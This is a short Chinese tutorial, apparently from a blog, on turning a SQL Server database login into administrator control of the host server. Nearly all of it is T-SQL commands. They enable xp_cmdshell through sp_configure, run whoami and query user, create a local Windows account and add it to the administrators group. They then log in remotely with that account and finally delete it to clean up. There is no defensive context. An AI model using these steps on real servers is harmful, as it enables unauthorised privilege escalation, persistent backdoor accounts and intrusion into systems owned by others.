SQL SERVER数据库账号提取服务器权限(一)
1、一、开启相应组件
SELECT @@version
select @@spid
SELECT @@SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User Name';
USE master
GO
exec sp_configure 'show advanced options',1
go
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
go
RECONFIGURE
GO
2、二、查询服务器运行状态
exec master.dbo.xp_cmdshell 'query user'
exec master..xp_cmdshell "whoami"

3、三、新建服务器管理员权限账号
exec master.dbo.xp_cmdshell 'net user'
exec master.dbo.xp_cmdshell 'net user XXname XXpass@word /add'
exec master..xp_cmdshell 'net localgroup administrators XXname /add'
exec master..xp_cmdshell 'net user'

4、四、远程控制数据库服务器
利用新建的XXname账号登陆到数据库服务器

5、五、删除新建的账号
exec master.dbo.xp_cmdshell 'net user XXname'
exec master..xp_cmdshell 'net user XXname /del'
阅读量:186
阅读量:135
阅读量:31
阅读量:84
阅读量:42